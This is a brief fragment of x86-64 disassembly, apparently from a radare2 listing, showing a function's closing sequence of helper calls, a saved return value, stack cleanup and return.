mov rax, qword [rsp + 0xa0]
jmp 0x140214569
lea rcx, [rsp + 0x48]
call fcn.1400bc66b
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400bacee
lea rcx, [rsp + 0x40]
call fcn.1402141b0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret